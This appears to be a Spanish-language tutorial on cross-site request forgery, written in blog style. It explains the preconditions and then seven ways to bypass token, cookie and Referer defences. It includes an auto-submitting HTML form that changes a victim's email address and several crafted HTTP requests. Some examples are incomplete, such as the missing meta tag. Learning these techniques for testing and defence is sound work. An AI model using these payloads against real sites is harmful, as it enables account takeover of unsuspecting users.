CSRF
Ataques CSRF
- Que es CSRF (Cross Site Request Forguery)
Un CSRF es una vulnerabilidad de seguridad web que le permite a un atacante incitar acciones a los usuarios que no desean cometer.
Que tipo de impacto tendria este ataque
-
Cambiar la direccion de correo electronico de la victima
-
Cambiar la clave de acceso
-
Realizar transferencias de fondos de una cuenta bancaria
Entre otros tipos
Requisitos para llevar a cabo este ataque
- El atacante tiene que poder realizar una accion privilegiada como modificar
permisos de usuario,cambiar clave, o cualquer otra accion sobre datos especificos del usuario. - Esto implica realizar una solicitud HTTP, y la aplicacion unicamente se basa en las cookies de sesion para identificar al usuario que ha realizado las solicitudes.
- Sin parametros de solicitud impredescibles.Las peticiones que se realizan no contienen ningun parametro que no se puedadeterminar. Ej: Al hacer que un usario cambie su clave
Bueno dejemos la teoria y movamonos a la practica
En lo siguientes apartados se especificara con I,II,II y asi sucesivamente cada ejemplo ya que algunos requeriran un poco mas de complejidad.
CSRF I
Supongamos que una aplicacion web le permita a un usario cambiar su clave de acceso.Cuando esta accion se realiza se produce una solicitud web como la siguiente:
POST /email/change HTTP/1.1
Host: hackweb.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=user@hack.com
De esta solicitud sabemos que la aplicacion utiliza una cookie de sesion para identificar al usuario que emitio la solicitud.Por tanto en estas condiciones el atacante puede construir una pagina con el siguiente formulario.
<html>
<body>
<form action="https://hackweb.com/email/change" method="POST">
<input type="hidden" name="email" value="othermail@hacked.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Si la victima visita la pagina web del atacante entonces:
- La pagina del atacante enviara una peticion al sitio web vulnerable y si el usuario ha iniciado sesion su navegador incluira automaticamente las cookies de sesion de la hacker y cambiara el correo.
CSRF II
Como en el ejemplo anterior,pero en este caso suponga que la aplicacion ahora incluya un Token CSRF
POST /email/change HTTP/1.1
Host: hackweb.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=user@hack.com
Este token deberia prevenir ataques CSRF porque se violan las condiciones necesarias para el mismo.No obstante hay varias formas en las se pueden eludir esta defensa.
Algunas aplicaciones validan correctamente el token cuando la solicitud usa el método POST, pero omiten la validación cuando se usa el método GET.
En esta situación, el atacante puede cambiar al método GET para omitir la validación y lanzar un ataque CSRF:
GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
CSRF III
Algunas aplicaciones solo validan el token cuando este esta presente por tanto la ausencia del mismo supone un posible vector de ataque.
Supongamos que se tiene la siguiente solicitud
POST /email/change HTTP/1.1
Host: hackweb.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=user@hack.com
Simplemente borramos el parametro csrf y su valor correspondiente.
CSRF IV
Algunas aplicaciones web no validan que el token pertenezca en especifico a la sesion del usuario logueado.En cambio la aplicacion emite una
xcantidad de tokens aceptando cualquier token que aparezca en el grupo emitido.
Bastaria solo con entrar con nuestro usuario a la web y coger nuestro token, ya que este seria un token valido aceptado por la aplicacion web.
CSRF V
En una variación de CSRF IV , algunas aplicaciones vinculan el token CSRF a una cookie, pero no a la misma cookie que se utiliza para realizar un seguimiento de las sesiones. Esto puede ocurrir fácilmente cuando una aplicación emplea dos marcos diferentes, uno para el manejo de sesiones y otro para la protección CSRF, que no están integrados entre sí:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com
Esta situación es más difícil de explotar, pero sigue siendo vulnerable.Introduciendo el token CSRF que lo vincula a la cookie(csrfkey) y ademas el CSRF token(csrf) al exploit previamente hecho en el CSRF I
CSRF VI
En una variación adicional de la vulnerabilidad anterior, algunas aplicaciones no mantienen ningún registro del lado del servidor de los tokens que se han emitido, sino que duplican cada token dentro de una cookie y un parámetro de solicitud. Cuando se valida la solicitud posterior, la aplicación simplemente verifica que el token enviado en el parámetro de solicitud coincide con el valor enviado en la cookie. Esto a veces se denomina defensa de doble envío contra CSRF, y se recomienda porque es fácil de implementar y evita la necesidad de cualquier estado del lado del servidor:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com
En esta situación, el atacante puede volver a realizar un ataque CSRF si el sitio web contiene alguna funcionalidad de configuración de cookies. Aquí, el atacante no necesita obtener un token válido propio. Simplemente inventan un token (quizás en el formato requerido, si se está marcando), aprovechan el comportamiento de configuración de cookies para colocar su cookie en el navegador de la víctima y alimentan su token a la víctima en su ataque CSRF.
CSRF VII
Algunas aplicaciones web utilizan la cabecera HTTP referer para ampliar las medidas contra ataques CSRF.Normalmente la web se encarga de comparar si la solicitud proviene del propio dominio.A menudo se puedo burlar esta contramedida omitiendo la cabecera referer .
Introduciendo una etiqueta meta como esta en el exploit creado previamente en el CSRF1
Resumen
CSRF I: Cuando la peticion de la pagina web para cambiar algun dato del usuario victima viaja solo con una cookie de sesion entonces, es vulnerable.
CSRF II: Cuando se implementa un CSRF token para la validacion de un usario determinado, a veces los desarrolladores olvidan realizar la validacion del mismo mediante el metodo GET.
CSRF III: Algunas web solo validan el CSRF token cuando este existe.Omitiendo el mismo en la solicitud se validaria
CSRF IV: Algunas aplicaciones web emiten una x cantidad de CSRF token todos siendo validos para cualquier usuario.Bastaria solo con introducir un token de nuestra sesion de atacante al exploit.
CSRF V: Cuando algunas aplicaciones vinculan el CSRF token a la cookie,pero no a la misma cookie de sesion.
CSRF VI: En esta situacion el CSRF token vinculado a la cookie y el CSRF token eran iguales y el servidor solo validaba esta igualdad entre los tokens y no tenia un registro de los mismos.
CSRF VII: En esta ocasion la web introducia un escalon mas de seguridad una cabecera HTTP referer la cual validaba si la solicitud provenia del dominio de la web.Solo introduciendole al exploit una etiqueta meta se hacia un bypass.
Bueno amigos esto ha sido todo en lo que respecta a los ataques CSRF.Como pueden ver se implementan de muchas maneras, y aunque algunas veces es un poco cansino estar probando todas las variantes,les aseguro que si se arman de una buena metodologia lo lograran.
- H@ppY H@(K1NG!
